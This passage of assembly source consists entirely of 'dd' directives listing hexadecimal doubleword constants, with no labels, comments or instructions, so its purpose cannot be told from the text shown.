94A2E82Ah, 10253D00h dd 885FFFE0h, 0C07909C1h, 4F0FB87h, 29600430h, 0B033C7DAh dd 1A1F22B4h, 0A4068129h, 61BAB88h, 190BE5C7h, 54A7C41Fh dd 0F0E01692h, 0EEFD01A6h, 8B30875Dh, 82EC720Ch, 0F0DF2D0Eh dd 864A60ACh, 0F208AE41h, 94C21D00h, 0FAAA4382h, 7FF7052Bh dd 0A98012DCh, 2088AC60h, 37E0B07Bh, 7F4D80B8h, 7F1EB838h dd 0BC809D3Ah, 197384ECh, 0F3388595h, 0D42098CDh, 7976408Dh dd 5F6F280Bh, 38C422BFh, 0B9B0F21Bh, 18127140h, 7DFB488Ch dd 20705F7Dh, 7A324264h, 3D50E900h, 0CC296B45h, 0C1FD50D5h dd 2841CBBAh, 2B66B802h, 987014DBh, 1219E0CDh, 2186FDACh dd 72BAA328h, 80943F04h, 862735BBh, 0D3EF5F58h, 0D34848E9h dd 996595C3h, 2C3B4586h, 8D014A5Ch, 25276965h, 0BF00FD83h dd 0BB40877Fh, 0E02F0B7Eh, 3850D8B9h, 16C79200h, 1758816Bh dd 74AE9D0Ch, 0F741AB42h, 0FC792079h, 0A338C418h, 915701EEh dd 0C0CD6CC5h, 8C2B1C20h, 37BCEF02h, 1919FC21h, 0D79910D6h dd 40EB00BCh, 0DF46854h, 0E926A6E0h, 3D077C60h, 0A07A5FBAh dd 71ABED80h, 0D03863h, 0C0188F16h, 0E5A8BF3Ch, 3206A901h dd 0FCDEF846h, 23F6D421h, 0B9F67C39h, 6338861Dh, 81C448EDh dd 2BF170Ch, 234C3A2Bh, 0A20038D6h, 8026231h, 4709C165h dd 799B935Fh, 721004ACh, 1F88F8D5h, 585C7D61h, 0A6C28F42h dd 0D784C43h, 88ECCCA7h, 0AD4454BAh, 7877B8B0h, 51060194h dd 0BED9612Fh, 44A864C5h, 3C0C21F4h, 0C9A4E61Ah, 574801A7h dd 444E3277h, 0FAC3CC67h dd 13843C14h, 0EBD89860h, 0F4008225h, 2F417D5Ch, 84CB8014h dd 488B4AD4h, 0BC00A3DCh, 0B8B1971Dh, 0A4220056h, 882B2C18h dd 630BEE14h, 7A608A09h, 6BFC0008h, 25AEAD90h, 290FCF9Dh dd 1947262h, 823930A9h, 0C84E2072h, 2E00C0DCh, 9438FF04h dd 399A7C5h, 0A974530Bh, 0BEEB86EDh, 6083AB88h, 0EC5908F6h dd 0C0D73948h, 3F0909D4h, 3CE0978Fh, 62272888h, 0E98C6841h dd 0D05C128Eh, 0C468FC0Fh, 0B8EC82FDh, 772E8D80h, 0C096A35Fh dd 650D9487h, 16884400h, 786DF54Ah, 0C504AAB8h, 640B952h dd 0F648780h, 7B932721h, 30660060h, 0B224BB1Dh, 87695F4Fh dd 5640BE0Ch, 5039BAD1h, 0E8F3879h, 1B88251Eh, 16ADA361h dd 18043AFBh, 5C1408CDh, 0E7A24853h, 90402530h, 0A72244C8h dd 6E38B11Dh, 14CAF012h, 0E27D010h, 81DC4559h, 937CC87Bh dd 282CB461h, 24710A89h, 6418F2F1h, 3625921Fh, 6C05D740h dd 2ED9E12Fh, 42E857F3h, 7C48C483h, 72093DFh, 41E65B19h dd 41181F50h, 0E412D1CFh, 0AB00E345h, 4754D56Dh, 5627789h dd 7A23B056h, 90DCD2A1h, 6CF14C62h, 0EC18F579h, 38ED8024h dd 0C194B102h, 740CDC63h, 0EF00D246h, 0D8A93925h, 31557F6h dd 17F0A092h, 0F8CB2A80h, 7CC0E7C8h, 2C351F6Eh, 40680C07h dd 0AB49FA99h, 465E689Eh, 1FE500F8h, 0B66D427Dh, 4C2F5C88h dd 0E62E6400h, 0D431932Dh, 0FB3164B0h, 1E1D711Ch, 0C103F3F4h dd 0ED82D011h, 73C8h, 18EE6A92h, 2C95347h, 1BB26C75h, 0C4E05051h dd 0F01206C6h, 5CA2D0C7h, 5E64802Ch, 1000D246h, 82A1EA94h dd 10B75822h, 4209C1Ch, 5EFDBE3Dh, 0BF68D0E3h, 0B74BF38Fh dd 1B872891h, 20B9A70Ch, 10487BA7h, 22A85825h, 0CCE65877h dd 0A13BBC80h, 0E800309Ah, 0EDD66CC3h, 797F2A22h, 0D8CE0073h dd 87CCAD78h, 0A496F738h, 7184ED0Bh, 0BED91D38h, 0B830204Dh dd 7494C2C0h, 93F0B603h, 9D4F4228h, 187FA481h, 0B781C200h dd 7A8B2427h, 83FD2738h, 0BD8AB0C8h, 41DF6727h, 190C388Ch dd 2B441095h, 0D2E681BEh, 1F421C74h, 9B81010Eh, 1BC2C30h dd 8F6A655Ah, 16EA81Bh, 476725ACh, 0CC4088CFh, 0FCA6DBh dd 0C293B78Dh, 0A629AE84h, 8B84A4BCh, 570412D8h, 495CE050h dd 9D200169h, 0C63D64h, 965E31A5h, 1486D7E5h, 3039989Bh dd 52800E5Bh, 238D0590h, 0BC05CEB2h, 8BDD973h, 2EB840D0h dd 77E7008Ch, 0AE81EF35h, 82950178h, 0D90A78h, 0A987FF8Eh dd 0A58FCE09h, 15D860D6h, 9D88A20Eh, 81E511FCh, 0CAC3162Bh dd 0BFABE041h, 25F19000h, 954E6090h, 0D5886C8Fh, 0DD424C0h dd 0EDBF38C9h, 530CB2B8h, 4C810260h, 0A6A71900h, 91C35C0Bh dd 30B73ABBh, 8F4B8904h, 60E8A590h, 8220E7B4h, 5334121Fh dd 7FBC0231h, 0D400C907h, 0ACA7FEh, 34F4B058h, 0BFDE9791h dd 0C8322B25h, 0BB5A8A8h, 938B217Eh, 0D47F68E1h, 312F326Dh dd 0E460C50Fh, 586E60D5h, 0A3C3009Ah, 0CA74EC2Dh, 8D093C69h dd 0CD41F6C0h, 0E479C06Ch, 0EB0243E3h, 0C07C5739h, 639460ABh dd 8FBB8002h, 68983A27h, 801A9F50h, 549AF05Fh, 0E4673C8Dh dd 0F0F8C4C0h, 0F5A20594h, 0A82F7761h, 0C8944B18h, 0D1B00FEEh dd 8F233244h, 0C511C874h, 7239C242h, 0ADF1060h, 14DD8C80h dd 2C06CFC4h, 2D013C23h, 52BF96D0h, 0E1883018h, 0ACD00028h dd 0EC992201h, 3B246FBDh, 264068CFh, 87F28AFDh, 9660CBE4h dd 2E0432C0h, 0C7ABBF35h, 0FE3410B0h, 7CF0B4D9h, 2400CE46h dd 0FC01907Ch, 0BC9068DFh, 274620h, 0A29A5559h, 0D8793AF8h dd 2D08DC4Ch, 970501Eh, 0BC76087h, 9D6F4E0h, 7C000898h dd 8349F6CEh, 9B390D7Bh, 535F934Ch, 9C020190h, 60148121h dd 0B312F03Dh, 30071D66h, 0FD85715Ch, 0F78874CEh, 39C7E1C0h dd 81BD06F5h, 0A0EC1B50h, 3AD54914h, 21EF10F8h, 3AE83124h dd 9B2039B4h, 4BFFC3D8h, 723DB028h, 517B1081h, 91C10929h dd 26385AFBh, 0C26CBB77h, 0A120AE8Ah, 99F92BA3h, 0E3130308h dd 6FE70BD9h, 2828AD96h, 0F096F05Fh, 0F54674h, 0BDF28120h dd 69F189ADh, 0AC328023h, 0CDC450C5h, 2AFB3761h, 257BA820h dd 108D0036h, 1A1584D8h, 93182492h, 0BDC12FDBh, 0F498BCDEh dd 2B8D1200h, 84E97B15h, 3D892CAAh, 58F81088h, 0B4BD8084h dd 5A523883h, 80A40A35h, 5F650134h, 2BC3E369h, 60168043h dd 0C17AEEh, 8F3BDC7Dh, 0C0999E96h, 31A83800h, 7F1F788h dd 0AB48A0E3h, 36CC007Bh, 0E2171E76h, 37004A9Eh, 0A84D6DD0h dd 727CBAAEh, 0DED805F0h, 2F17739h, 0FA263040h, 0F7273840h dd 0AF786082h, 65E68085h, 2E08B95h, 0AF8039Ch, 48DF19B8h dd 983E3A5Fh, 1203F623h, 8BC1179Fh, 0C08BD8A0h, 0CB60D347h dd 0C1E8C850h, 3FB9199Bh, 0B55CC8h, 0E04FFA5Eh, 0DCE2D8D0h dd 8164CF3Fh, 96E91CCBh, 563AE33Fh, 80ACB888h, 35C1B7EEh dd 4678003Eh, 5F960DFDh, 0C2398ED6h, 89E9007Eh, 0CB442F93h dd 903F0BEFh, 38A20DA5h, 5E001050h, 25DEE48Fh, 84E67580h dd 26BC8300h, 7E0679C7h, 91E60069h, 8AF9E84Fh, 0AC00E3DCh dd 5B26DD3Eh, 12BEA320h, 0A2E4BFB0h, 312DF2D4h, 8343C44Ah dd 97B40209h, 730823Eh, 6135022Ah, 465CDC7Eh, 367300F8h dd 0F4B8623Ah, 0E37A13FDh, 66B8404Eh, 48165659h, 508B935Fh dd 6A00A3DDh, 63A5F212h, 0E88E3925h, 207998ADh, 8F36E200h dd 0E0D267h, 7E4B4672h, 7B969473h, 0C24AA27Dh, 407710A2h dd 7F25BB1Fh, 87CC0FD7h, 8706C814h, 5A0F0951h, 0D4071766h dd 678B8822h, 6EF4A3DFh, 0DD3B8AF3h, 8044EC08h, 0EDF25DF0h dd 0BC123C83h, 9E0FCC79h, 0BE4160F1h, 1564F77h, 253FF742h dd 3939308Bh, 0DBBC13B8h, 8C32A000h, 1E8D90F4h, 0C020BD1Dh dd 6145C658h, 8306D636h, 0EC62BE30h, 0D2177DC1h, 0B5E501D8h dd 28E1199Ah, 0CF018300h, 937CC86Dh, 348FB73Ch, 0D4F83480h dd 175AA350h, 902078D4h, 4BE76082h, 0AE048171h, 3B41E083h dd 0C511EB67h, 7EFD8782h, 97BD60B8h, 0A4A8A357h, 0F162C330h dd 768B9F59h, 1A2002E0h, 14610266h, 0B213FE93h, 64B07CE4h dd 7C01521Dh, 0D17BCD55h, 345CCC2Ch, 2D8CCDBCh, 6060C277h dd 0F728ABDAh, 18213CEDh, 0DF770478h, 8854CFDCh, 868BC0F3h dd 47E2BF78h, 347CA916h, 0FDC66E02h, 0E4B95590h, 0A39C5035h dd 8909A9F1h, 0C4EAFF38h, 2105647Ch, 3D2CE9C1h, 0DB1F82DCh dd 0E0A6732Dh, 0D28652h, 2B5B0A5Ch, 0D38CA8BBh, 8FA58302h dd 544366F3h, 20789D48h, 0AD7A030Bh, 1608DA06h, 5DFC733Bh dd 7A13E2A8h, 0D8937D3Ch, 68F4DC88h, 9B8416C7h, 5AA0E01Fh dd 0CD8A7A00h, 8F7FBF09h, 18C895A1h, 345E5366h, 902AE08Ch dd 82ECEEB8h, 0CA38907Fh, 4C63058Eh, 0AA118158h, 5E61021h dd 8C628180h, 0D73D672Ch, 90F82076h, 3F01BD7Ch, 0FDAFBE88h dd 8C7960A9h, 86B96A00h, 0E5B6C23Bh, 0AA29B71Ch, 2E97DC40h dd 24B2C8FEh, 704EC35h, 79EE92C0h, 502E6493h, 0A61124D8h dd 0E5928900h, 7C808F2Eh, 0CE1E3DF4h, 39C0B8B7h, 0ED796F0Bh dd 0A9040035h, 7D22138Eh, 374B33DDh, 2E8898CEh, 69BEA0CFh dd 579BBA3h, 4330D416h, 1B0B226h, 7383AFF0h, 9D6A4005h dd 0BC4868C0h, 4BE68CE8h, 0AB214005h, 20AAF113h, 108BF3E4h dd 935FA08Bh, 111E6547h, 0E06CF6CDh, 514589h, 8722CAA2h dd 8B21F2ABh, 1109DB2Fh, 4BF866A4h, 0FCDD7067h, 0E841D6A5h dd 8A0BC1E8h dd 8104122Ch, 1F517BCh, 403A87FDh, 3A1E2F20h, 39048D53h dd 93F6B185h, 75F9D0C8h, 28019F72h, 78C4F35Fh, 0A0F64A44h dd 1B7602E0h, 0FD0EB47Fh, 8565099Ch, 5C00DA82h, 3081A889h dd 7CEB4997h, 1C846440h, 45C65B0Ch, 1BBDA687h, 0EDA8483Ch dd 0A4F8D504h, 23190E61h, 0DC241D72h, 3A224A1Ch, 0F12344h dd 8DAB44B8h, 0E0744C21h, 6082704h, 25AA86E2h, 0C8A8CBC8h dd 0A1C1C0D0h, 0B5148120h, 22847CA7h, 0A3D912DBh, 0D8B8E4B7h dd 0C3F030F1h, 553061C2h, 3409DD1Bh, 425E5899h, 0D8709FC7h dd 895B4F09h, 1D8CA6F1h, 0F3210859h, 0D7441EFFh, 4EE0C3h dd 0ED168FF1h, 0E5688B82h, 0ABA1D8C1h, 308B0353h, 0CC40261Fh dd 0C8971899h, 252DD660h, 0C20C139h, 6D053541h, 0F800E670h dd 69D425D9h, 1CAE0AA4h, 9CB2810h, 0D090C21Eh, 0CA38B41Ch dd 6C7F0074h, 6AAAA23Ch, 0C92501E2h, 3D786477h, 30EDE19Eh dd 98058F14h, 3B909B83h, 0D917EC09h, 182C7970h, 7F39001Eh dd 0B62937B3h, 8F527C74h, 0BC2E26A4h, 0EE02B021h, 57D8FFE6h dd 0F891CC1Dh, 2186EE87h, 0F06242A4h, 0AD4B84DFh, 0C24FDCF2h dd 0FF0AA984h, 492C8B05h, 0FE7BB80Fh, 0D350641h, 318280C1h dd 0CB836F25h, 0D011307Bh, 1393DF04h, 9F2CE40Ch, 1D60E440h dd 0AAA6E34Ch, 0A84327E0h, 1929DC0Eh, 0ACA280D9h, 85987090h dd 5FE75096h, 260C27C2h, 2616E94Eh, 28B50F5Dh, 0A5B0972Eh dd 0B210B310h, 704F30F2h, 54B4C400h, 0CBFB9CCDh, 79735884h dd 0FDC1A064h, 430E7AB0h, 6045BBC6h, 0B5AE3AF2h, 0BC4D7919h dd 0F55F1730h, 0A7F8239Ch, 7D36C098h, 0B023C8Dh, 839447AEh dd 0E004F56Eh, 63D10403h, 0E5B8D4E8h, 8B64018Ch, 7702803Ah dd 10003A23h, 51DABC96h, 23ED4BEEh, 3903227Ch, 2359BA7Bh dd 39AA8852h, 65920058h, 2BC7AB8Dh, 880B38EAh, 0F0AD5F14h dd 708C2554h, 0D7008C51h, 932E4BF5h, 58860825h, 7C84F387h dd 4C2E0D8h, 0A1352773h, 2A32B0C0h, 2B2B8089h, 0EF323F0h dd 60002068h, 0A99677F5h, 2AAC1948h, 0B212CC7Bh, 140C0CBBh dd 5AC7E11Fh, 60684198h, 963BE36Ah, 5C90E751h, 8C9AB5h dd 0F7DB37A1h, 0B9B8A7E0h, 0D314AF00h, 31E108CBh, 0A3EB1245h dd 2FCCF3BDh, 56C8CA60h, 1930DC34h, 1BCE220Dh, 87E900ADh dd 0E28F2889h, 0D4013149h, 0E0C0A8F9h, 9C628B5Ah, 5D041672h dd 9B08843Eh, 0FDE3C054h, 7A061Ah, 0C027EB7Fh, 8AEE8998h dd 0BE6C9097h, 5AD258E2h, 101B6100h, 43ADCA08h, 0B4496800h dd 23C0D75h, 74E59798h, 961E8E4h, 6E59FC14h, 0D9C65325h dd 0D1E593F8h, 0E86B5790h, 0E1006481h, 6F0CC005h, 7D3892h dd 4BE610F1h, 9B87BFDEh, 3100189Ch, 0F2967E42h, 534F2F6h dd 9A04AD8Eh, 7B1F80BFh, 0A617B2D9h, 58132C5Bh, 0B0A77A17h dd 25B1FAA0h, 0F132892Dh, 0A321825Ch, 0A4E4F4DBh, 0CDCAC50h dd 882B8381h, 0A3022F14h, 0EF67A2D7h, 91A09763h, 0A91A80F1h dd 52A5E7h, 0AA74CD39h, 0F4F55B1h, 38901004h, 60B24207h dd 59076522h, 7FB2325Dh, 0C09BCD81h, 2F2AE075h, 1DD523DCh dd 4F48406Ah, 2061A95Ah, 0A8604A1Dh, 98F3478Bh, 9C27BF4h dd 466B492Dh, 41F8A004h, 40A57A03h, 5D78332Ah, 8D0048D7h dd 3B064E17h, 0AC932F79h, 7A226464h, 30860949h, 0B87EEA77h dd 27611F9Eh, 0E6415C4Dh, 4A615F39h, 3134042Ah, 154FD97h dd 1763907Ch, 472AD3C1h, 0A52E4898h, 62A42906h, 30D1E2D8h dd 8C120F5h, 8F3F96C0h, 8B0454F2h, 24500330h, 0D8C774A0h dd 0FBE70CA0h, 402A5F81h, 15253140h, 0A200FC3Bh, 0F165D1F6h dd 0EDE3A012h, 0DA4AA439h, 0BAB6C07Ch, 3AA2D534h, 0CA12DEE6h dd 0E0A0A62Dh, 348AC2h, 9F03AA4Ch, 0A770D893h, 57EDCC02h dd 6604C38Bh, 84847670h, 91B8959Dh, 0E621842Eh, 71AA05C0h dd 4D1E0B46h, 0C0DC22AFh, 3CC142E5h, 660006FBh, 7B121315h dd 80BC7079h, 9ED9FC80h, 41034072h, 0C225472Fh, 5EAEE8E4h dd 45CC0F59h, 0C9A36696h, 74C96F4Ah, 5001C81Ah, 168F1500h dd 857B84FAh, 8894962Eh, 0B4262953h, 0D428CB0Bh, 0A8AAC17Ch dd 24A2D838h, 0E720267Ch, 0F4C097F2h, 4B61AB22h, 139CFD41h dd 0A5F9F471h, 0BBA34000h, 0A8818B5h, 744295EDh, 0FB09E8E4h dd 0A43C297Ah, 0BCB58B58h, 598CCC2Eh, 78CED85Ch, 0BC7DCF01h dd 2767C06Dh, 373E2828h, 0D8879315h, 0EC6B5B25h, 58CC889Ch dd 2EE70B20h, 7ED8925Fh, 2B00F446h, 8722EE43h, 7B029F8Eh dd 339CB9AAh, 8915749h, 59D02039h, 0BD8FD103h, 0E5CEBF67h dd 6E5A9CA6h, 5A660370h, 88FBCBF6h, 0AC28F07h, 31738367h dd 304A92E8h, 0C6727DC0h, 3B7DF00h, 223A99F5h, 2E402563h dd 9D00BC59h, 3815ED88h, 2FB500BEh, 5E6F18FFh, 7C9005AFh dd 1798062Fh, 80F291A4h, 73D27A83h, 92F62Bh, 9158417Bh dd 352E6023h, 0CE96CB6h, 532C017h, 6D90198Ch, 846CB220h dd 60EF922Eh, 81216E1Ch, 2088325h, 747FA798h, 68544928h dd 0D84B7791h, 64E4A20h, 1C0D108Dh, 5648D13Eh, 4A270141h dd 0AC9C0F6Eh, 5AFC0B30h, 698C67A4h, 266040D6h, 185F1D47h dd 50FD5383h, 2CB18B81h, 5BD4F02Fh, 0E5A42DCCh, 887184BEh dd 0CF8A308h, 0A05A9025h, 0B04BC3Ah, 6FCCFE5Dh, 8424E9C4h dd 0A35B452Ch, 0C9F7C004h, 4EC0A335h, 0E7B99C31h, 6EF0406Ah dd 379920D5h, 786BDA13h, 0C4B7404h, 25BC940Ah, 0F2913C9Dh dd 0C0278787h, 3CCC03FDh, 0DC5DF30Eh, 582032A6h, 0EAB57Eh dd 89E484D3h, 5F352BD1h, 0E805CB30h, 4FFC5Dh, 0F0DA89Bh dd 0C609B26Dh, 0E8202260h, 0AC75B7h, 0E4A8CE82h, 40B85F20h dd 660C3F74h, 0E1DF9829h, 0C52500FFh, 0D0A864E9h, 4F3A6B10h dd 0F0E20131h, 68DF4738h, 3E22B7CCh, 93843067h, 84CAC6EFh dd 0F230F244h, 0C0F630E5h, 0D5580B1Ch, 28D48812h, 0E7BB3881h dd 7A161079h, 0BE4C0FC0h, 8280528Eh, 5F908C4Ch, 9862248h dd 7A94E1DEh, 8090B40h, 0C4727739h, 0E2CB8100h, 0A5A6B9EBh dd 19B896DCh, 6BA310FCh, 6084D84Fh, 0FDAC169Ch, 0C2DE7357h dd 0ABE7518h, 244E28B4h, 283CAC84h, 261A32F9h, 885E5D58h dd 45E8BE80h, 3AE956C8h, 5A7FD7CFh, 60F0408Ah, 8F93812h dd 89401556h, 6E0478CAh, 1DA039DBh, 0E9DE82D6h, 9B058506h dd 2591FC8Dh, 504260E3h, 0D8BC91FDh, 4CD43C5Ah, 27A4B02Ah dd 0A044D021h, 941C30C8h, 0C3A83496h, 88A0EF85h, 0D9C71DEEh dd 0E6EA3D0Ch, 7248D108h, 81060219h, 0E884E2DBh, 0BC23D879h dd 306DC6C4h, 78C1AE7Eh, 0CBDA13CDh, 1C200821h, 0BFA8AB1Ch dd 2FFC508Bh, 14C85804h, 0A9C827E7h, 439C44CEh, 83C9F189h dd 4CE9488Ch, 0FC6712h, 0DF21B1E4h, 300784EAh, 0CD4A4FE6h dd 20702119h, 11EF68E1h, 7E5A480h, 0BDD7BF79h, 203436C5h dd 32C1F031h, 1D88C27Eh, 8C5E9C4Ah, 0BBC7D600h, 2F8EDA08h dd 0CCDA0623h, 7126CB2Dh, 0B3245D50h, 0F5091026h, 5FD483E6h dd 0BE1018CEh, 0F64B08D8h, 0B3F018C4h, 10542B06h, 3185BD20h dd 9008BF0Ch, 0D65101A5h, 8CEFA201h, 8F99C28h, 41740C7h dd 40A71940h, 34403C2Ah, 43374067h, 406A1640h, 18645C03h dd 8A042E41h, 24110401h, 6053E04h, 4089836Dh, 5B66C5A8h dd 20695418h, 697D53D0h, 81554680h, 72918813h, 3F610C4Ch dd 0F480C199h, 5B50C6B7h, 0E33108C0h, 5C2D18E7h, 29C20899h dd 81BD76Dh, 0F328CAFCh dd 870819B6h, 72B315Fh, 3118DF76h, 0DD08A3D6h, 0C1188C29h dd 62B208C4h, 0EB0418AAh, 0AC5EBA05h, 3A5D1933h, 0AC06131h dd 0B088CE1h, 659C2081h, 44AE08ACh, 1C4A47ACh, 0CE0DA1F3h dd 38532008h, 72906054h, 0E8B311C4h, 4216F04h, 0C70C4ED4h dd 19C473D9h, 3406EDF3h, 96320849h, 0A31F20D2h, 31FE4A98h dd 0A7C14118h, 8A801DAh, 1481501h, 0C0359B1h, 0B5070918h dd 81566628h, 5F7992FDh, 2FF54044h, 3F61BF0Ch, 6203B040h dd 0BE451050h, 19D14703h, 21D5FB08h, 0F28C011Fh, 0E0B7088Ch dd 1E35A18h, 1088B986h, 40193BB3h, 9852CF31h, 0E62C49DAh dd 0C1184C13h, 1218C735h, 1BEE801Ah, 92320B80h, 0D9276654h dd 93200858h, 0E0715457h, 85E8A841h, 0E048CC9Ch, 0A1DF0479h dd 2D2AEAD0h, 0E95364CCh, 0CC5C92F2h, 51712849h, 182A2A0h dd 62025E61h, 0F7060049h, 0C88A1810h, 7BEC4073h, 4520AC92h dd 0E45D5418h, 10E96419h, 0B98897C0h, 39676826h, 10B24031h dd 0CD0110FFh, 83088D0Bh, 2824D12Ch, 8C36502h, 9FDC4BABh dd 66CA3C0h, 0BFAA10C4h, 8CF4760Ah, 2918F185h, 32082862h dd 73A50354h, 7BC2019h, 6301FC69h, 0A2C90751h, 2FA993Ch dd 0D90315C2h, 801810BAh, 0AEAC1821h, 80F56F10h, 0F492EEE3h dd 6461D940h, 91911023h, 14DDA98h, 208CA96Ah, 5641DDE8h dd 23E64C25h, 89593448h, 0D02853BFh, 615CC503h, 100052D7h dd 33864C11h, 3DC7E8FCh, 311335BFh, 5DC44081h, 0B99E0EF7h dd 0DF463E00h, 22D5477Fh, 2B1A0734h, 0BEF96A5Fh, 80B825F6h dd 0F7A6E098h, 6D1F3D00h, 1220A2B4h, 848707D6h, 0C20FDF7Bh dd 64F8ABC1h, 2BF2BD00h, 3CFA6457h, 0B58C3F3h, 0C3C7B993h dd 0A080C296h, 721704DDh, 80FC0CE7h, 5F693803h, 0DA99A6C4h dd 7BE88727h, 0EDA068DDh, 0F0B1D910h, 9408A0C5h, 604A2C5Fh dd 0DDCC809Ch, 6DB1BCA7h, 0F4B7B02h, 5C41E018h, 0D4702DC8h dd 522F9002h, 551AC3DEh, 0DC060F40h, 567093Dh, 57E6C105h dd 38BCB012h, 0FA312C00h, 90FE323Fh, 5F513C06h, 2503D7Ah dd 0ECBE0475h, 0ABD5E47Eh, 0CCD0BCh, 0B7A8A19Ah, 0CD635A4Eh dd 0DD33E717h, 4C7E3400h, 0C094E60Ch, 0B62798F1h, 24005B31h dd 65AA331Ah, 181995FDh, 687DCB5Fh, 4127C923h, 0D8600B25h dd 66310074h, 2790423Dh, 5C30E7C4h, 0A6DD8096h, 0D62B00F6h dd 70ED94D5h, 0E61828EFh, 2920A8D1h, 0E77E2817h, 0A0C2FDF9h dd 0F6BEFC8Ch, 1F8F00F8h, 0DBE2BDE4h, 1405CCA8h, 8680465Ah dd 0F8081296h, 5798C1BCh, 0E0090F34h, 87008AE3h, 0FB90C5F2h dd 7CE67E50h, 64C800E0h, 3134B7DAh, 580A80AAh, 0D404A581h dd 0E645D71Ch, 8D099C3h, 0F21A0C5Bh, 59A9C046h, 9702095Eh dd 0C5E30D17h, 0AD45B45Ch, 0E4078104h, 0C849BAA7h, 3A241D9Ch dd 0C83B2Ch, 4B8E0C40h, 0D65CB417h, 5004D05Eh, 3C808434h dd 50ABE632h, 559CCE8h, 4C25E55Ah, 639806E1h, 644B19D8h dd 0A166F8D1h, 30E6C074h, 5B20EBA9h, 88001A74h, 0C60304BDh dd 6111A4A6h, 43FA3178h, 0D0890227h, 483251D0h, 30E7BBF0h dd 42108D9Bh, 0F0AA3992h, 0D9C1C081h, 3EA42304h, 0BDE128Ah dd 81C13420h, 0C30D133h, 5031CE85h, 0CD80601Ch, 7CF0BE1Ch dd 0A1489490h, 45F0F24h, 0C421B21Ah, 32004AC8h, 0B5043CE9h dd 0F59A427Bh, 40AC910Ah, 7EED100Eh, 403CE254h, 50A74640h dd 0FCE614BBh, 0C194A0CFh, 0E02AEB43h, 98C8EABCh, 0DF08495Ch dd 0A07C3CE8h, 305F9028h, 332041B0h, 4825213Fh, 0A24A5F7h dd 498A1405h, 48F06CB0h, 0EC040C80h, 80F89DE6h, 6D79218h dd 2100D3B0h, 353A3451h, 1B42A6h, 81DD2A46h, 0A3E30485h dd 0D450BD63h, 53103EADh, 8CA08640h, 48E9F083h, 0BE1EA5DCh dd 0FC295B0Ch, 49F0AC20h, 0F32B0A12h, 8C370800h, 508FD8BFh dd 0EE5F1C1Bh, 80549913h, 210CE2A5h, 9C771A2Ch, 0FB5A81Dh dd 0D5F94181h, 68E04A0Eh, 2C134D3Ah, 8901424h, 941522BCh dd 0DE119EE0h, 384BA810h, 21E38A26h, 8D0084F5h, 305784Eh dd 0A0514CEBh, 1DE4AD00h, 0F55919FAh, 74C68E00h, 5F2573C2h dd 9C4ED6h, 675AEED8h, 0C131397Ch, 84C2C960h, 2AE07C30h dd 78E063B8h, 445F1824h, 0E2D38A5h, 975EE478h, 0DE7EDCC0h dd 0F11C000Fh, 0E6D5EA27h, 8C907377h, 901A8E29h, 137E3F88h dd 0B341E2Ch, 0CC685B6Fh, 7B4C04D5h, 244F4A1Ch, 0A588797Dh dd 26C10430h, 5DC712Dh, 0F2F438Bh, 0C8E137E0h, 0BE8EDF5Fh dd 1C017498h, 2077B84Ch, 88207ED7h, 0DA3C13DDh, 0D5E40046h dd 5DCAE842h, 79355F40h, 56E31921h, 623F789Dh, 88922264h dd 89A5D4C0h, 0C07B1168h, 0C572092h, 83208674h, 8A8CEF00h dd 3123F29h, 6985BE3h, 0E1AD8874h, 803BDD45h, 6D9A2E8h dd 0A0EC5Ah, 47363A3Ch, 82986596h, 6040865Ch, 9100248Fh dd 46261F77h, 1432FA03h, 8887E0C1h, 3492D30Fh, 27A7D0A3h dd 0C7FEEBE0h, 2F75C414h, 0ADF500A4h, 26AC1A90h, 0C29200B6h dd 5FE22735h, 9CA09605h, 0C89011FBh, 0C8FA6B29h, 0E627D030h dd 7C589756h, 0E318E8ACh, 0B5A125C6h, 548DF204h, 8CF4D9h dd 6CE38FD2h, 6E1E1449h, 222DB0C9h, 646AE69Ch, 5C351688h dd 0C1782010h, 6C9A0878h, 89009090h, 223DC3E0h, 5566E371h dd 0E851A4B5h, 30207D14h, 0E0950B3Bh, 0B2406Eh, 0E37B5401h dd 4B37C077h, 0B863D93Bh, 0B849E8DBh, 0C586250Eh, 348CB5A7h dd 7524131Eh, 7C340B14h, 22BFFC00h, 4368212Bh, 0C141E0E8h dd 6C243208h, 0F6D10266h, 0FC862B49h, 9017906Ch, 2423241Ch dd 5FA00578h, 48D98930h, 861CDDB4h, 83B4183Eh, 0EF373018h dd 54E61C30h, 0EF4C070h, 0F3BAC866h, 80C27E80h, 0CE3BC449h dd 52E241Fh, 5E795F06h, 687D6878h, 802CA4A4h, 56E2DD91h dd 550BD915h, 0D0A4E634h, 0D33300ACh, 8BB29DFFh, 6700FCDFh dd 96D22395h, 1C84B7A7h, 0C14FC08Fh, 430F3FE8h, 81D7F0D9h dd 2F82DF1Eh, 0DE58C189h, 0E6D80348h, 0F800AA2Bh, 0B04D620h dd 0B075BEF3h, 0BF962454h, 69420598h, 0EAFC485Ah, 10839D0Dh dd 40471860h, 0AC998E59h, 1F01E085h, 7816F035h, 0C13A1890h dd 0F65DAFh, 0BD689300h, 0E78F6246h, 7425D0F1h, 32A82A00h dd 9510B259h, 7B2400FDh, 19ECB7C9h, 82B0D907h, 11B8E135h dd 882D5440h, 31E7DCBFh, 5F88F197h, 2139F01Ch, 0CA7B4612h dd 15F00431h, 96D89304h, 6130D900h, 0B191DF64h, 0FFCF01ACh dd 0DCE2BB21h, 5908C867h, 3803B67Bh, 54E6E98Fh, 1FF91D4Eh dd 95AE8B01h, 0AC83F08Eh, 0AB05F56h, 607E167h, 44C9A797h dd 8E0BAFF0h, 70F713EAh, 0B410004Eh, 1E12C131h, 973A90DEh dd 0BC44A72Bh, 950A3351h, 12E02C94h, 0EBF0054Ah, 34E080DBh dd 0AA056148h, 81C97783h, 57209492h, 0CDC58C0h, 0BC095F2Ah dd 88347B4Ah, 91745CD1h, 0A0C03100h, 1F0D2307h, 85BE2F3Dh dd 0AC523045h, 0F5948455h, 6C715C16h, 9C20F481h, 103E65CFh dd 0A54CC94h, 34B8BD51h, 0CE20E7C8h, 0D07C4D07h, 0F555420Bh dd 0E081A4A9h, 208ACAC1h, 0D02E2738h, 338FF02Dh, 0A86A77Eh dd 0E0D3A732h, 0B3B164h, 7B26FCCFh, 0D22E25E7h, 5F193301h dd 452140FAh, 0E8232421h, 62905D26h, 3C019EBDh, 0C8614121h dd 8D871401h, 0B4322308h, 923880F6h, 59404478h, 6931BC86h dd 0F1E646F1h, 96488039h, 0F7BFBC3Fh, 593CF6D3h, 1D21B864h dd 0A402BD0Ah, 122734E0h dd 805CE05Fh, 7100B290h, 0FB8F616Eh, 26F5874h, 0E7A8B19Bh dd 0C40F0FAh, 84B91CA7h, 34352C00h, 71EF6FEh, 